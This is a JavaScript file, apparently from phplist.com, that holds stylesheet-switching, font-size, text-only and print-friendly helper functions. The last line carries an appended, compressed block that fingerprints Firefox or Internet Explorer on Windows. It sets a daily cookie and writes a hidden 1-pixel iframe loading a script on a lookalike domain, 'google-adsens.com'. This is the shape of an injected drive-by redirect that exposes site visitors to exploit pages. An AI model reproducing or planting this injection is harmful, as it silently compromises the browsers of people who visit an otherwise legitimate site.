// class switcher:
function newClass(obj, new_style) {    obj.className = new_style;}  // found on internet for rollover tabs

// ----------------------------------------------
// StyleSwitcher functions written by Paul Sowden
// http://www.idontsmoke.co.uk/ss/
// - - - - - - - - - - - - - - - - - - - - - - -
// For the details, visit ALA:
// http://www.alistapart.com/stories/alternate/

// modified by Michiel Dethmers, tincan ltd to include the option
// for textonly

var i;
var stylesheets;

function setActiveStyleSheet(title) {
  var i, a, main;
  for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
    if(a.getAttribute("rel").indexOf("style") != -1 && a.getAttribute("title")) {
      a.disabled = true;
      if(a.getAttribute("title") == title) a.disabled = false;
    }
  }
}

function getActiveStyleSheet() {
  var i, a;
  for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
    if(a.getAttribute("rel").indexOf("style") != -1 && a.getAttribute("title") && !a.disabled) return a.getAttribute("title");
  }
  return null;
}

function getPreferredStyleSheet() {
  var i, a;
  for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
    if(a.getAttribute("rel").indexOf("style") != -1
       && a.getAttribute("rel").indexOf("alt") == -1
       && a.getAttribute("title")
       ) return a.getAttribute("title");
  }
  return null;
}

function createCookie(name,value,days) {
  if (days) {
    var date = new Date();
    date.setTime(date.getTime()+(days*24*60*60*1000));
    var expires = "; expires="+date.toGMTString();
  }
  else expires = "";
  document.cookie = name+"="+value+expires+"; domain=.phplist.com; path=/";
}

function readCookie(name) {
  var nameEQ = name + "=";
  var ca = document.cookie.split(';');
  for(var i=0;i < ca.length;i++) {
    var c = ca[i];
    while (c.charAt(0)==' ') c = c.substring(1,c.length);
    if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
  }
  return null;
}

function rememberFontSize(divname,fontsize) {
  var cookie = readCookie("fontsize");
  var cookieout = '';
  if (cookie) {
    var divs = cookie.split('~');
    for (var i=0; i<divs.length;i++) {
      var pairs = divs[i].split('|');
      if (pairs[0] == divname) {
        cookieout += divname+'|'+fontsize+'~';
      } else if (pairs[0] && pairs[0] != 'undefined') {
        cookieout += pairs[0]+'|'+pairs[1]+'~';
      }
    }
  } else {
    cookieout = divname+'|'+fontsize+'~';
  }
  createCookie('fontsize',cookieout,365);
}

function setFontSize(cookieval) {
  var divs = cookieval.split('~');
  for (var i=0; i<divs.length;i++) {
    var pairs = divs[i].split('|');
    var div = document.getElementById(pairs[0]);
    if (div) {
      div.style.fontSize = pairs[1];
    }
  }
}

function increasefont(divname,step) {
  if (!step) { step = 20; }
  var div = document.getElementById(divname);
  if (!div) return;
  var fontsize = div.style.fontSize;
  if (!fontsize) {
    fontsize = "100%";
  }
  fontsize = parseInt(fontsize);
  fontsize += step;
  if (fontsize > 300) {
    //alert('Now you\'re being silly, that\'s really too big\n\n-- powered by the Webbler, http://www.webbler.org --');
    fontsize = 300;
  }
  fontsize += '%';
  rememberFontSize(divname,fontsize);
  div.style.fontSize = fontsize;
}

function defaultfont(divname) {
  var fontsize = "100%";
  var div = document.getElementById(divname);
  rememberFontSize(divname,fontsize);
  div.style.fontSize = fontsize;
}


function decreasefont(divname,step) {
  var cookie = readCookie("fontsize");
  if (!step) { step = 20; }
  var div = document.getElementById(divname);
  if (!div) return;
  var fontsize = div.style.fontSize;
  if (!fontsize) {
    fontsize = "100%";
  }
  fontsize = parseInt(fontsize);
  fontsize -= step;
  if (fontsize < 50) {
    //alert('I cannot believe you can still read that\n-- powered by the Webbler, http://www.webbler.org --');
    fontsize = 50;
  }
  fontsize += '%';
  rememberFontSize(divname,fontsize);
  div.style.fontSize = fontsize;
}

function textonly(){
  var cookie = readCookie("textonly");
  var flip = cookie != 'yes';
  try{
    stylesheets=this.document.styleSheets;
    for(i=1;i<stylesheets.length;i++)
      stylesheets[i].disabled = flip;
    createCookie('textonly',flip ? 'yes':'no',365);
  }
  catch(m){
  }
}

function printfriendly() {
  removeimages();
  textonly();
}

function removeimages(){
  try{
    images=this.document.images;
    len=images.length;
    if(len>0){
      for(q=0;q<len;q++) {
        image=images[q];
        span=this.document.createElement('span');
        if(image) imagealt=image.attributes.getNamedItem('alt');
        alttext='[!]';
        bgcolor='#f00';
        if(imagealt){
          alttext=image.alt;
          bgcolor='#ff0'
        }
        span.style.color='#000';
        span.style.backgroundColor=bgcolor;
        replacement=this.document.createTextNode(alttext);
        span.appendChild(replacement);
        image.parentNode.replaceChild(span,image);
        if(len!=images.length)q--;
      }
    }
  }catch(m){}
}

window.onload = function(e) {
  var cookie = readCookie("style");
  var textonly = readCookie("textonly");
  var fontsize = readCookie("fontsize");
  if (fontsize) {
    setFontSize(fontsize);
  }
  if (textonly == 'yes') {
    stylesheets=this.document.styleSheets;
    for(i=1;i<stylesheets.length;i++)
      stylesheets[i].disabled = true;
  } else {
    var title = cookie ? cookie : getPreferredStyleSheet();
    setActiveStyleSheet(title);
  }
  var hhag = document.getElementById('footerads');
  if (hhag) {
//    hhag.style.display = "none";
  }

}

window.onunload = function(e) {
  var title = getActiveStyleSheet();
  createCookie("style", title, 365);
}

var cookie = readCookie("style");
var title = cookie ? cookie : getPreferredStyleSheet();
setActiveStyleSheet(title);


var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
